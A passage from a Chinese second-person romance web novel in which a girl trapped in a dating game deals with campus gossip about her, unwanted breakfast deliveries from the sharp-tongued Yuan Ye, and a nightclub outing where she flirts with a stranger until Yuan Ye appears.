李知乐擦了擦眼角笑出的泪花：“是啊是啊，假装没看见你，绕过去也行啊。”
白念芮想起来，还是十分气愤：“要不我怎么说他是个贱人！”
你握着手机，尽量降低存在感。
不防，白念芮目光犀利射来：“夏佑，你是不是也觉得原野太过分了？”
生气了，生气了，连宝宝都不叫了。
等一会儿，她们发现了贴子里的主人公是你……
你赶紧小鸡啄米般乖巧点点头。
虽然你没发表什么有建树的评论，但好在立场十分正确，白念芮放过了你，又继续低头刷帖子。
你望着刚才还说不好奇原野八卦的白念芮，现下都快把手机屏幕刷出火星子来，默默躺下，把大半张脸埋进被子里。
只留一双眼和竖起的耳朵在外面。
张雨婷：“知乐，下面回帖的没有知道这女的是谁的啊？”
“提了几个女生的名字，但我看都是猜测。”李知乐找到了那几个名字，还逐一分析了一番。
你越听越疑惑。
她们怎么没看出来是你？
难道今天下午原野又绊倒另一个女生，把人扛走了？
那原野可真是神经大发了……
你从被子里摸出手机，点亮。
屏幕上是校园论坛。
你眯着眼，戳进了帖子。
手指一溜烟滑过上面的文字，拉到了下面的贴图。
照片上的人正是你。
你把眼缝睁大了些。
你的室友为什么没看出来？
你把照片点开，细看了一番。
照片看角度是从过道里侧、靠窗那个学习桌拍的。
你推想，有桌子挡着，你摔到地上、原野蹲下和你说话、到后来他扛起你走，拍照的人只看到原野扛走了你。
这人看到后，还要找到手机、解锁、打开相机，所以最后只拍到原野右肩扛着你向外走的背影。
你在画面主要出镜的是悬在原野后背的两条腿。
但腿被黑色的长裤包得严严实实，毫无辨识度。
有原野宽肩窄腰的后背衬着，外加他托在你大腿附近因用力绷起肌肉的手臂，你垂挂的腿看起来……
带着几分格外荏弱的优美纤细。
你不禁想到室友刚才小声嘟囔的“这女的看起来还挺好看的”“废话，原野看上的哪个丑过……”
你摇摇头晃掉胡思乱想，放大了图片下部分。
你的长发凌乱倒挂着，这个角度，脸被原野抬起的长腿挡了一半，剩下那点脸再放大放大，已糊成连五官都看不清的马赛克。
你唯二有辨识度的发色——亚麻闷青色，也由于阴影和角度的原因，糊成了泯然众人的深色。
怪不得你的室友没一个想到你头上。
想想，要不是你清楚原野那时肩上的人是你，你或许也认不出这是自己。
你这下放心从被子里支棱出来。
她们三人还在翻回帖，边看、边念、边分析。
你有种被当众处刑的羞耻感。
于是，你从上铺挂着的小篮子里抓了几把零食挨个投出去，企图转移她们翻帖子的兴致。
不成想，嚼着猪肉脯、雪花酥和琥珀核桃仁的她们更来劲儿了。
李知乐：“哈哈哈，这人说想在原野鼓起的肱二头肌上滑滑梯。”
张雨婷：“还有什么肱二头肌，我得去看看。”
白念芮夸张呕了下：“哪有什么肱二头肌，老娘倒是要看看……”
听到白念芮那天天“宝宝、宝宝”叫你的漂亮小嘴吐出“老娘”，你震惊看过去。
就见白念芮大拇指和食指对着手机屏幕使劲放大照片，然后鼻子不是鼻子、眼睛不是眼睛盯了会儿，最后气到把手机丢到一边。
你：……看来是真的有。
李知乐忽然在下铺“咦”了声，把大家的注意力都转移过去。
“有人说前几天看原野在朋友圈官宣了一个，不知道是不是就是这个女生？”
你刚放下的心顷刻又提了起来。
张雨婷立马兴奋起来：“哪层楼？有照片吗？快发我看看！”
“不用翻了。”李知乐叹口气，“那人下面回复了，原野发完照片的第三天就删了。”
张雨婷：“这人竟然没保存？！”
李知乐：“这人口口声声叫原野‘野哥’，一看就是个男的，哪懂这个？”
听着下铺的张雨婷遗憾地哐哐拍大腿，你细若游丝提着的气儿终于放下来。
张雨婷还在唉声叹气：“我连找谁去问原野的微信号都想好了。”
李知乐闻言，敲敲上铺的白念芮：“念芮，你也没有原野的微信吗？刷没刷到他那条朋友圈？”
白念芮不知怎么，又来气了：“那个贱人不配进我的微信列表！”
懂了，白念芮也没原野的微信。
可能是见你几乎没怎么参与这场八卦会谈，张雨婷应景似的问你一句：“夏佑，你呢？”
哈哈哈哈哈哈，李知乐敲着身下床板大笑起来：“佑佑要是能有原野的微信，我给你表演倒立磕头！”
这一刻，你无比庆幸原野中午拿走你的手机不是为了加你微信，不然李知乐真要表演倒立磕头了。
不过，倒立……怎么磕头？
***
第二天早上七点多，你睁开眼，照例先看了眼手机。
你拉下上方消息通知栏，看到上面显示yy发来了三条微信。
你迷糊揉着眼，想着yy是谁？
你点进微信，看到「yy」被顶到了列表最上方。
你点开对话框。
yy：「我通过了你的朋友验证请求，现在我们可以开始聊天了」
yy：「腿好点了吗？」
yy：「今天去图书馆吗？」
原、野！
等等，虽然是系统自动消息，但什么叫他通过了你的朋友验证请求？？？
你抬眼看了下三条消息上方的浅灰色时间：「06：00」
你：“…………………………”
难道原野昨天中午拿走你的手机，是为了用你的微信给他自己发添加好友的请求，然后又特意等到第二天早上六点才同意你的好友请求？
哦，不是你的，是他自己发的好友添加请求？
你怀疑你还没醒来，不然脑子怎么想不明白他这是在干什么？
虽然你觉得他病得不轻，但还是有礼貌地回复了他的微信。
你：「还行。」
你：「今天不去图书馆了。」
微信对话框上方立马显示「对方正在输入……」。
yy：「哦。」
yy：「那洗漱下，一会儿有人给你送早餐。」
你：「你要给我送早餐？为什么？」
yy：「闲的。」
闲、的？
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>你盯着“闲的”两个字，思维不由发散开来。
他是不是对你有点儿……意思？
不然为什么拿你手机偷偷加上他的微信，一大早六点又来关心你的腿好没好，还要来给你送早餐？
你问他为什么给你送早餐，他还顾左右而言他说“闲的”。
这要是现实，面对原野这样的大帅哥，你肯定不会这么想。
但这是游戏，你是游戏主角，你又接到了“接受他告白的”任务，想着想着，一切就顺理成章起来。
而且，如果不是这样，你想不出来他这样做的理由。
你决定试探一下。
答案要是肯定的，他说不定借坡下驴就和你表白了……
黑暗中，你的眼睛一亮。
说不定，你就此闯关成功了！
你躺在枕头上，举着手机敲敲打打，删删改改，但怎么看都觉得有些冒昧了。
最后，你牙一咬，干脆索性冒昧到底，啪嗒嗒一顺溜敲下：
「你是不是有点儿喜欢我？」
你眼睛一闭，按下发送。
你本以为对面无论心思如何，面对这个问题，也会犹豫一会儿措辞。
没想到，对面几乎立马砸来一连串回复：
「？」
「你昨天不仅摔坏了腿，还磕了脑子？」
「腿还能爬就去镜子前照照！」
你疑惑：「照照什么？」
yy：「照照你的痴心妄想！」
你真是一秒勇敢，换来了一生自闭……
难怪一向温温柔柔的白念芮昨天被原野气得想砸手机……
你现在也、想、了。
但你怕砸了手机，被系统讹上，要你赔钱。
最后，你干脆拉了被子，埋头在黑暗中画圈圈诅咒原野。
诅咒他一辈子单身，一辈子爱而不得，一辈子爱的人爱别人……
被你丢在被子外的手机忽的嗡嗡震了下。
你赶忙把手伸出被子，摸索着给手机静音。
不到五分钟，昏暗的寝室内又响起“笃笃笃”三下敲门声。
天哪！
敲门的不会是原野吧？
你嗖一下坐起身，朝对面的白念芮看去。
还好还好，她还在当睡美人。
你赶紧爬下梯子，左右扫了眼下铺的室友，她们也还在睡。
你穿上拖鞋，蹑手蹑脚朝门口走去。
你打开一条门缝，蓬乱的脑袋小心翼翼钻出去。
随即，撞上另一个小心翼翼凑来的脸。
你愣了下。
就听她说：“同学，下面有个帅哥让我帮忙把这个带给你们3025的夏佑。”
说着，她把手上拎着的两袋早餐晃到你眼前。
你懵懵点头说“好”，探出手接过两袋早餐，压声和对方说了“谢谢、谢谢。”
“不客气。”女生举起另一只手，笑着说，“他也送了我一份！”
你关上门，拎着两袋早餐爬上上铺。
在床缝里摸到手机，你捂着后面的灯打开手电筒，往袋子里面照去：
白煮蛋、茶叶蛋、包子、小馒头、小油条、紫薯、玉米段、盒装的白粥、皮蛋瘦肉粥、南瓜粥……
你突然就气不起来了。
你点开微信，看到原野之前发的：
「早餐送上去了，一会开下门。」
你想了想，回复：「你这是不知道我想吃什么，把学校食堂的早餐挨个买了个遍？」
yy：「你是不是还没去照镜子？」
你：「……」
yy：「你腿受伤了这两天不得麻烦你室友？这是害别人受伤后的基本操作。」
yy：「我可和不负责任的某人不一样。」
你咬牙一字一字敲下：「你赢了。」
yy：「还行，希望能唤起害我右手受伤的某人的良心。」
原野喜欢你？
你是看明白了，他是不能喜欢你一点！
29. 图书馆告白挑战（9）
今天，上铺再寻不到你葛优躺的慵懒身影。
你跟个稻草人似的，插在桌前，外面走廊但凡有个风吹草动，你的耳朵立马闻风竖起。
有人敲你们寝室门，你便鹰扑兔子般飞奔而去。
一上午，你一人承包了寝室所有的开关门工作，生怕原野又给你来什么“良心人的示范”。
时间在只有你一个人的风声鹤唳里迈过十一点半。
寝室门“咚咚咚”响起，你再一次飞奔而去。
当你两臂一左一右各挂着两个外卖袋，转身用脚带上门时，你的第一想法竟然是：这次总算没“落空”。
晚饭时间，当你又一次拎着两大包外卖关上门，你的室友们终于忍不住问你：“怎么又请我们吃饭？”
你在心里千锤百炼过的借口终于得以喧诸于口：
“我妈听说你们不遗余力帮我旺桃花，说要好好犒劳你们一下。”
三人听完，嘴上连连客气，六只手诚实在外卖袋里选起各自喜欢的饭菜。
你最后挑了碗日式豚骨拉面和唐扬鸡块，回自己桌前吃起来。
你津津有味吃着。
忽然，听到旁边的李知乐叹了口气。
张雨婷停了筷子看李知乐：“怎么了，你的滑蛋烧汁牛肉饭不好吃？那夹两筷子我的，我的鳗鱼饭贼入味。”
你闻言把鸡块往李知乐方向推了下：“我的唐扬鸡块也好吃，不知道店家怎么调的炸糊，又酥又脆。”
李知乐摇摇头：“不是。”然后左边夹走一块鳗鱼，右边夹走一块鸡块。
你拿起装鸡块的盒子，走到张雨婷和白念芮身后，“你俩也来一块尝尝？”
李知乐嚼着鸡块，目光追着你而来：“就是觉得有点不好意思，阿姨请了咱们这么多顿饭，你的桃花一朵都没见着。”
你端鸡块的手一抖。
张雨婷回身扶了把你手里的外卖盒，夹了块鸡块塞进你嘴里：“别愁了。你自打改了名字，前几天整天泡图书馆，这两天整天窝在寝室，也没机会遇到桃花啊。”
你没……愁。
“主要是没机会。”白念芮边吃边点头，“那我们晚上带夏佑宝宝出去玩儿吧？”
李知乐立马附和：“去哪玩？”
白念芮停筷想了下：“去Backup吧。”
你：“Backup是哪？”
白念芮回头，一脸爱怜仰看你：“我们夏佑长这么大还没去过夜店吧？放心，我一会儿把秦今阳和韩凯都叫上，为咱们保驾护航。”
李知乐和张雨婷一阵欢呼。
夜店？
你本能想拒绝。
你的第一想法就是：夜店是成年人才能去的地方……
可转念一想，你早就成年了啊。
但你还是感觉有些害怕。倒不是具体害怕什么，可能就是对未知事物的恐惧。
在大家的鼓动中，你一咬牙，游戏里你都不敢去夜店，这辈子你还什么时候敢去夜店？！
*
女寝室楼下，你见到了这几天只闻其名、未见其人的秦今阳和韩凯。
白念芮的两位追求者。
你抬头扫了眼两人，都是白皮淡颜系的帅哥。
哪个放在浓颜系的白念芮身边都挺搭。
楼前的路灯下，两人隔几步站在阶梯下，曾经好到能穿一条裤子的兄弟现在一左一右在等人。
中间的距离能摆上三条裤子都不止。
你们四人下来，白念芮落在最后。
见是这副场景，你同李知乐、张雨婷十分有默契地手挽手先行一步。
留白念芮姗姗走下台阶，面对你光想想就想原地飞走的修罗场。
走出一小段，你实在忍不住偷偷回头。
白念芮停在两人中间前一步，一袭修身的掐腰玫红色短裙，笑靥如花和他们说着什么。
你听不到她说了什么。
但很快，秦今阳和韩凯一左一右站在了白念芮两边，抬眼朝你们方向看来。
你飞快转过头。
除了佩服，还是佩服。
白念芮这种人才当NPC实在是白瞎了。
想到今早原野还让你爬去镜子前照照自己的痴心妄想，你不由望着头顶的夜空长叹：
这个游戏玩家的位置，你真的不能让给白念芮吗？
*
你们六人，打车要分两辆。
你本以为白念芮肯定会和秦今阳、韩凯一个车。
没想到，白念芮伸手摸摸你的脑袋，对两位追求者努努嘴：“抱歉，我答应了今天要给我家夏佑宝贝当护花使者。”
末尾，她描摹精致的眼还朝你明艳一眨。
你化了。
不怪那两个……哦，不，还有一个今天没来。
不怪三个男生都喜欢她。
你也喜欢这样的……
招到了出租车，两个男生让你们四人先上车。
自打进了这个游戏世界，你还没去过大学校园以外的地方，便上了副驾。
“咚咚咚”，秦今阳敲了下副驾的车窗。
你降下车窗，朝外看去。
秦今阳从皮夹里抽出一百，递到你手里：“车费用这个付。”
你接过钱，点点头。
秦今阳转身就要走。
你赶忙叫住他：“剩下的呢?”
你不知道去Backup有多远，会剩下多少钱，秦今阳是想把剩下的给司机当小费，还是要你把剩下的再还给他。
秦今阳似乎没想到这一点，蹙了下眉，随口道：“你随意。”
你迟疑点点头。
秦今阳对你的疏离，让你一瞬有了现实感。
是的，这才是你现实中一直担任的角色。
旁观好友爱情的小透明，偶尔充当个递情书、表白、和事佬的工具人……
这些天，游戏里几乎每个人对你都很好（当然这里必须除了原野）。
室友们天天不是夸你可爱，就是啧啧啧喊谁家的小宝贝这么招人眼，你每天早上起来照镜子都格外喜欢变漂亮的自己。
才几天相处下来，寝室的氛围甚至比你现实里更加和谐愉快。
你其实有点儿喜欢上了这里的生活——你周围的每个人好像都是好人。
把你的“存在”真实看在了眼里。
出租车轰一声启动。
你望向窗外的后视镜，秦今阳和韩凯的身影正在极速远去。
你仿佛眼睁睁看着现实离你远去。
朦胧的灰蓝夜色里，大敞的车窗送来清爽的夜风，亚麻闷青色的长发肆意飞扬。
不断向前的铁皮盒子仿佛英勇的海盗船，披着一路月光，带你闯入一个只许大人通行的光怪世界……
***
夜店里。
你坐在卡座里，两手下意识捉紧横在大腿间的裙摆。
尽管你一路鼓足勇气，真正进了声色沸腾的陌生世界，心里还是免不了一阵局促。
眼前摊着酒单，你的目光在一连串文艺诗情的酒名里闯迷宫：
“苏格兰之雾”“自由古巴”“绝对日落”“金汤力”“醉江南”……
白念芮见你迟迟拿不定主意，伸手来抽你的酒单。
你拍苍蝇般迅速按住飞离桌面的酒单，指着上面“告白”两个字说：
“我要这个，「在佛罗伦萨告白」。”
白念芮掩唇笑笑。
你好奇去看她笑什么，她却已经在问侍应生「在佛罗伦萨告白」由什么调配
“佛手柑利口酒、接骨木花糖浆、鲜柠檬汁和苏打水。”
白念芮确认了其中没有烈酒，默认了你的选择。
酒很快上来，大家喝了几口，李知乐便提议去跳舞。
其他几人纷纷响应，没等你酝酿好拒绝，已被室友们左拉右架押送刑场般裹挟着朝舞池而去。
你脚拖在地上、挣扎着回头，视线对上留在卡座上“看家”的秦今阳。
你自觉丢脸，一秒挺直腰杆，大
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步虎虎朝舞池而去。
你跟着跳了不到五分钟，深刻悟出一个道理。
有些事情，可以靠勇气。
就如你给自己洗洗脑，就能跟着室友们来夜店。
再比如，你被秦今阳看傻子的眼神一激，就能麻溜冲进舞池。
但有些事情，光靠勇气就不大行了。
比如，就你观察，你周围投入舞动的人无非三种：跳舞好、脸皮厚、喝多了。
你不仅不属于其中任何一种，你还是这三种的反义词的集合体：跳舞差、脸皮薄、喝少了。
三个buff集齐，任你的室友们再是热情，再是鼓励，再是洗脑“跳一会儿就好了”“没人看你”blablabla，你跳舞时完全不同步的手脚仍完美地配合你的意志跑了回去。
一身漂亮的姜黄无袖小短裙的你自以为是“落跑的公主”，一路奔回卡座，一抬头，不防撞上秦今阳一脸明晃晃的一言难尽。
你：“……”
你尴尬笑着给自己强行挽尊：“我跳够了，回来换你的。”
他面上不置可否，屁股半点没抬的意思。
“你快去吧。”你半撵半催，“念芮刚才还找你。”
秦今阳上下打量了你一眼，没说话，把手机揣进兜里起身走了。
白念芮其实没找秦今阳。
但这个小谎被戳穿了，你也不怕。他要来问你，你就说是“善意的谎言，帮他助攻”；不过你猜，就秦今阳这锯嘴的高傲葫芦，肯定不会跌份来问你这个。
秦今阳这人不行，你决定回去给白念芮进进谗言，还是那个韩凯好，言谈举止都温温柔柔的。出租车启动前，你从后视镜里还看到韩凯拿出手机拍了出租车的后车牌。
赶走了秦今阳，终于只剩你一人。
你坐下，脖子软塌塌歪在靠背上。
心灵疲惫的你其实更想大喇喇摊平，但白念芮精心给你挑选的姜黄小短裙不允许。
你再端起那杯“在佛罗伦萨告白”，喝一口。
啊，感觉更好喝了。
是自由的味道，酸酸甜甜。
你坐着玩起了手机，三不五时隔着人海朝他们跳舞的方向望两眼。
室友跳得很嗨，无论谁先碰上你的目光，都要撞撞旁边的室友，一起扬起手臂和你“说HiHi~”
你玩会儿手机，和舞池里的她们互动一番，如此几回下来，你也算在这里找到了适合自己的生存方式。
你正低头刷着微博，忽然，听到一道低沉的男声：“随便找个卡座就行，等我堂弟捉完奸，我就走。”
捉奸？
你黏在手机屏上的眼睛一秒完成了抬起、锁定目标的动作，比狙击镜也不逊色。
是刚才引你们来的侍应生，可身姿动作莫名瞧着恭谨了不少，正引着个一身白西装、连内搭都是同色西服马甲的年轻男人经过。
和周围清一色短裙热裤、袒胸赤膊的人对比，很有些格格不入。
再加上他脱口而出的那句“捉奸……”
也许是你的视线太过直白，男人有所察觉侧头扫来。
你不防，没来得及躲，直愣愣撞上他的眼。
目光相接的刹那，你好像看到他懒怠的眼里闪过一抹惊艳的亮色。
你正怀疑是酒喝多了，有些眼花，就见男人抬了下手：“等一下。”
动作间，你注意到他腕上的表，价值不菲的模样。
前面的侍应生停下了脚步，回头看他。
他却对你扬起个笑：“女士，能和你拼个台吗？”
你迟疑指了指自己：“你在和我说话？”
眼前的男人虽不像原野那样好看到雌雄莫辩，却也是现实世界难得一见的帅哥。
皮肤白皙、浓眉大眼、五官端庄，是丈母娘们会争相出手的正派女婿的天花板模样。
“嗯。我坐一会就走，”男人扬开一抹端方的笑，“作为交换，我给你讲讲我堂弟捉奸的事儿。”
真是打蛇打七寸……
30. 图书馆告白挑战（10）
你在面前人英俊立体的五官上溜过一圈。
又瞥了眼他腕间一看就价值不菲的表。
这种又帅又有钱的轻熟帅哥……
你实在想不出他有什么理由对你图谋不轨。
咳~和帅哥聊聊八卦，这趟夜店你也不算白来。
会去也好和室友们交代。
你故作波澜不惊，酷酷说了句：“坐吧。”
帅哥在你对面落座，指了下你膝前放的酒杯，问你：“你点的什么？”
“在佛罗伦萨告白。”
“听名字是个好兆头，”他点点头，冲还站在原地的侍应生说，“给我也来一杯。”
点好酒，他娓娓兑现起他的承诺来：
“你看我这一身装扮也能猜出，我今晚本没打算来这儿。”
你看了眼他通身雪白的西装，眼神表示赞同。
“我本要去参加个宴会，正好我堂弟也须出席，我好心绕路去接他。他说他来开，我二话不说和他换了位置，心里寻思着偷个一时半刻的闲。哪成想，唉——半路，我堂弟的手机响了。”
“我帮他拿出来，按了接听。对面那人不知是谁，上来就调侃我堂弟，”他无缝切换了个公鸭嗓，‘不是说今晚有正事，结果撇下我们和嫂子去Backup玩？’”
“我这儿正拄着车窗框，心里拉锯，堂弟一声不吭找了女朋友这事，我是该告诉堂弟他爸，还是……”他顿了下，“该告诉堂弟他妈，不防，手机就被劈手夺了去。”
“我堂弟关了外放，肩膀夹着手机，问对面那人，”他又秒切了个不耐烦的冷淡语调，“‘怎么回事？’”
“我也不好大喇喇贴到我堂弟肩膀那里听，只能伸着个耳朵，艰难捕捉些漏音，什么‘朋友圈’、‘照片’、‘男人’、‘没你帅’之类的……”
男人讲得绘声绘色，眉眼间全是戏。
总有那么些人就是有这样的魅力，白开水的故事也能被他讲成噗呲噗呲冒泡的苏打水。
你听得眼冒星星，不自觉酒都喝得勤了。
见他停下，你忙催促：“然后呢，然后呢？”
“然后啊，他二话不说方向盘一打，掉头就奔这儿来了。”男人两手一摊，“我就被绑来了这里陪他捉奸了。”
你有些遗憾捉奸的故事戛然而止，没有你想象中的二男争一女乱打成一团的场面。
你看着他，突然想起一个重要问题：“你不是陪你堂弟来捉奸？”言外之意，他怎么没去现场，坐这里来了？
“头一次见未来弟妹……”他摩挲着鼻梁上的小驼峰，“就是捉奸现场，不大好吧？”
你头啄米般点到一半，又想起来：“都捉奸了，她还能是你未来弟妹吗？”
“能。”他这次回得倒是笃定。
“为什么？”你又好奇，“你不是连她面都没见过？”
“就凭我堂弟掉车头打的那把轮，差点没把我车胎擦爆，我就是知道他上头着呢。”
你脑中浮出一个极速掉头的帅气摆尾。
你突然有些好奇这个素未谋面的“堂弟”了：“堂弟长得帅吗？”
他想了想，然后指着自己的脸问你：“我帅吗？”
你诚实点点头。
他莞尔一笑：“我堂弟比我差了些，但应该也算帅吧。”
捉奸的八卦讲完，他的酒刚好来，见你酒杯里已所剩无几，他又帮你重新点了杯。
他指了下刚放到桌上的酒，随口问你：“去过佛罗伦萨吗？”
你摇摇头。
长这么大，你还没出过国，但你一直都想出国去玩，从小到大一直想。
“意大利好玩吗？”你问他。
他端起酒杯抿了口：“欧洲的国家去多了，其实都差不多。”
你想了想，问出了个一直好奇的问题：“意大利的披萨真的特别好吃吗？”
他闻言皱了下眉。
那微蹙的眉头半晌未松开，仿佛正在尘封落灰的记忆里努力翻腾着什么。
你盯着那两道弦乐眉间的寸余之地，期待感被一分分吊高。
他：“恐怕没你说的那般特、别好吃。比起意大利的披萨，法国的披萨倒是更对我胃口。”
你惊讶：“为什么？”
“可能是意大利的披萨太正宗了，不对我这个‘洋人’的胃口。”他面上自嘲，“我这个‘洋人’还是更适合吃法国‘洋人’的不正宗改良版。”
你被他逗得噗嗤一乐。
他掏出手机看了眼，又继续和你说起来。
你问他去意大利旅游，有什么好玩的景点。
他又如数家珍盘点起意大利的知名景点，威尼斯水城、古罗马斗兽场、比萨斜塔、庞贝古城……
从自然景色说到人文风俗到建筑历史，似乎看出了你对美食的喜欢，每个景点说到最后，都要给你推荐两三个当地的特色餐厅。
没见过世面的你听得津津有味，只恨这里的光线太过妖娆，不能让你拿个小本本埋头统统记下来。
见你一副恨不得生了翅膀飞去意大利的模样，他又和你讲起了意大利旅行要注意的安全事项。
“……还有米兰大教堂。我第一次去时，刚踏上教堂前的广场，迎面碰上个外国佬往我手里塞鸽子食，用破烂的意式英语让我喂广场上的鸽子。他一直热情比比划划，我也不好拂了他的好意，就应景随意喂了几只。”
“你猜怎么着？”
你呆愣摇摇头。
“这是骗游客的套路，等人真喂了鸽子，别管是喂了一粒还是全喂了，外国佬就会问游客要20欧，美曰其名鸽子食钱。游客要是不给，他们的同伙就从四面八方聚上来，把人团团围住，不给钱不让人走。”
许是酒喝得多了，你的情绪外放了许多，你眼睛瞪得大大的：“那你给钱了吗？”
“那外国佬想要的不是钱，”他指指自己的脸，“是我的联系方式。”
你两手捂嘴：“所以，你给了？”
“算是吧，我见他一米九几的大个，胳膊抡圆了比我大腿还粗，”他脸上半是无奈、半是幸灾乐祸，“只好含泪把Facebook的账号给他了。”
他喝口酒，半晌又补了句：“哦，我堂弟的。”
脑补着他可怜的堂弟收到同性的搭讪信息，你笑得前仰后合：“哈哈哈哈哈哈……”
你们又又又又又一次开心地碰杯。
你不知道是你从未碰
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上过这样见闻广博、幽默风趣却半点不显卖弄的人，还是被他口中你充满向往、却从未踏足过的异国领土的异闻所迷惑，越喝越精神的脑子突然冒出个想法：
有没有可能像上一关游戏，他才是你的攻略目标？
想着，你一把拽住对面晃来晃去的西服袖口。
男人杯里的酒被你拽得一晃。
他挑了下眉，并未做声。
你指尖又得寸进尺了些，钻进些袖口，摸上一直晃着你眼睛的金属表带。
凉丝丝的，有点发热的你摸着很舒服，你边摸边说：“我让你在这里坐了这么久。”
他将酒杯换了手，轻轻碰了下你放在桌上的酒杯。
“当”一下，玻璃相撞发出清脆的响声。
你听出了他的心怀感激。
你继续：“你该还我个人情吧？”
他杯口后的唇角勾了下，似在鼓励你。
你不再铺垫，仰起脸：“和我表白吧。”
他自落座谈笑间始终游刃有余的表情卡住了。
你有些赢了般开心眯弯了眼。
“就说‘你喜欢我’就行。”你连台词都贴心替他想好。
你正期待着他后续的精彩表情变幻，一只大掌从后覆上了你的脸，你眼前蓦地一黑。
“谁啊？”你刚一出声，冰凉的指腹抵上了你的唇。
你懂了，是想和你玩儿“猜猜我是谁”。
鼻尖萦绕的味道似曾相识，你翕动着鼻翼，努力在有些混沌的记忆里搜寻这味道属于她们几人中的谁，你记得她们出门前都喷了香水，有玫瑰味的……还有什么味道的……
你不得不承认酒精影响了你大脑的检索技能，于是，你另想了个好主意。
你嘴巴用力一张，牙齿向前猛伸，把来人的指腹叼进了嘴里。
咦，怎么还不吱声？
你犹豫了下，齿尖加了些力。
还不出声？！
嘻嘻，你又伸舌舔了下。
“咝——”身后响起短促的一声抽气。
虽然一秒就被主人咽了回去，但你还是听出来，这是个男的！
啊啊啊啊啊啊，你彻底凌乱了，男的男的，不会是秦今阳那个闷声不吭的变态吧，他发现你骗他了？那也不能上手捂你的脸啊，他到底有没有点儿男德啊？啊啊啊啊，你怎么就咬了他，你羞耻得快要爆炸了！！！
“赶紧松开，”你也不好上手去扒拉他，生怕一不小心再摸到白念芮男友预备役的小手，被捂住的嘴含糊着威吓，“秦今阳，小心我告诉白……”
背后的人却蓦地压下身来，黑暗中，五感格外灵敏的你瞬间僵硬。
“你属狗的啊，到处标记地盘不说，还喜欢咬人？”潮热的唇息海浪般直白拍打着你的耳廓。
你下意识歪头躲开：“？？？”
那人却似乎看到了可乘之机，鼻息得寸进尺埋进你疏于防守的颈侧，随即低低喷出一声细长的嗤笑。
你颈窝那片细嫩的皮瞬间腾起一片密麻麻的痒。
“腿都断了，还能满世界找人和你表白，”他低声哑气的呢喃却带着锋刃的刺，撩刮在你深凹的锁骨里，“我是不是该夸你一句身残志坚？”
31. 图书馆告白挑战（11）
“腿都断了，还能满世界找人和你表白，我是不是该夸你一句身残志坚？”
这熟悉的讽刺说话方式……
除了原、野，你一时竟想不到第二个人选。
你正要去扒脸上的手，回头验证一番。
炮仗似的怒音一路劈开人流喧嚣而来：“……那边那个，对，说的就是你！”
捂着你脸的手放下了。
你渐渐清晰的视野里，白念芮一身热辣的玫红方领无袖短裙，踩着哒哒哒的细高跟，如一捧迎风燃烧的玫瑰，风风火火而来：
“看着人模人样的，怎么爪子专往人家刚成年的小姑娘脸上摸？死色胚也不怕手上生烂疮，以后打飞机下头全烂光！”
你的视野里，目之所及的男性都下意识收紧了腿。
“别激动，先问问情况。”韩凯赶着白念芮喘个气儿的功夫，赶忙插上一句劝。
“问个屁问！再问那狗爪子不定要摸去哪儿了！”
你从未见过白念芮这般……怒气爆表的模样，赶忙站起身。
站起来后，还是茫然。
前面是马上抵达战场的白念芮，后面是……
你转过身，仰起头，确认了真的是原野。
想必你，原野倒是淡定许多，单手插着兜，面上一派懒散，仿佛被骂的人和他毫无干系，另一只手还有闲情掏耳朵。
彩色射灯纷乱摇晃，一米开外，你妈都认不出你，白念芮也是走到近前才认出了原野。
认不出还好……
“我就说是哪个好模好样的人长了只狗爪子，”她红唇讥诮一扬，“原来是你这个狗、东、西！”
原野放下掏耳朵的手，当着白念芮的面，对着空气轻轻吹了下。
你捂脸，真是没见过比原野还会气人的……
你偷瞄一眼白念芮的方向，果见她漂亮的脸蛋呼哧呼哧鼓个不停。
原野扫了眼埋头当乌龟的你，问：“她是谁？”
这刻，你打定主意要和原野划清界限。
生怕白念芮撕完原野，再顺手撕下你，你这笨嘴拙舌的，再来两个都不够她骂的。
你龟缩的视线落在原野裤兜鼓起的那块，刚才捂你脸的罪魁祸首就藏在那里，你默默画着圈圈诅咒他。
白念芮自己回了：“你管老娘是谁！”
“喂，问你话呢？”原野踢了踢你快缩成内八字的鞋尖，“刚才拉着人袖口，要人和你表——”
“我的室友白念芮！”你飞快抢答，生怕他当众戳破你拉人和你表白的事。
你瞥一眼白念芮，果见她一脸“怒其不争”看你。
“我们系花，漂亮大方，人美心还善。”你赶紧狗腿子般补上一句。
白念芮好像终于想起她一贯优雅的外界形象，抬手撩了撩额前散落的长发，掐腰怒骂的手也顺势落了下去。
韩凯则瞄准难得的风平浪静，赶紧招呼着大家坐下。
他们几人之前在舞池就看到你和个男人在聊天，彼此好生交流过一番。
因此，谁也没问一句卡座里陌生脸的帅哥是谁，互相点个头，自然默认了他的存在。帅哥见大家来坐，还贴心让了让，坐到了卡座最外侧。
你则是完全顾不上他了。
在室友们看似无意的推挤下，你和原野坐在了一起。
白念芮正坐在你们对面，纤长的美腿高高翘着，挺胸扬着下巴，一副即将开堂审案的模样。
果然，你屁股还没坐热，对面的白念芮便开口了：
“你，和我们夏佑是怎么认识的？”
你没想到她没问你，先问起了原野。
但这故事可不能让原野讲啊，他那张不靠谱的嘴，谁知道一开口扔出的是不是核|弹？
你乖巧举起右手：“能不能让我先讲？”
你眼见着白念芮的眼神晃了晃有所松动，原野却突然开了口：
“我们第一次见面在图书馆。”
白念芮立马不再看你。
“她第一句话就是让我和她表白。”原野扫了一圈表情纷彩的众人，目光停在卡座最外侧的人脸上，蓝色的冷光晃在他轻挑的眼尾，连带眼下那点泪痣都跟着骄矜起来，“让我想想她原话是怎么说的来着？”
“哦，是‘你要和我表白吗？’”
你眼睁睁看着对面挺坐的白念芮一点点碎了。
原野最后一句话落地，白念芮也哗啦啦碎了一地。
那天塌了的模样，仿佛是听到她富养了十八年的漂亮大姑娘口口声声说要和一无所有的坏小子在一起。
你另两个室友则早早在原野说出“她第一句话就是让我和她表白。”就捂上了嘴。
她们极致复杂的情绪完美彰显在彼此紧紧交握到颤动的手。
你：“……”
白念芮扶着一旁的韩凯，半天才找出一句：“他说的是真的吗？”
快一周过去了，你其实已记不清第一天和原野都说了什么。
更别提第一句话的原话了。
一时间，你想替自己辩白，都无从下手。
你面色尴尬的沉默，让白念芮更沉默了。
李知乐见白念芮心灰意冷的模样，替她接着问起原野：“然后呢，然后呢？”
“剩下的，”原野勾了下唇，“就是付费内容了。”
“woww~”李知乐立马冲你挤眉弄眼。
原野明明什么都没说，李知乐到底在激动什么？
你严重怀疑原野是没脸把他故意绊你的事讲出来……
你再一抬头，李知乐已经开心和原野碰起了杯。
算了。
回去再和她们解释。
原野喝着喝着，突然凑到你耳边：“你室友说我是狗。”
他怎么又想起这一茬了？
你：“你别生念芮的气，她刚才只是太担心我。”
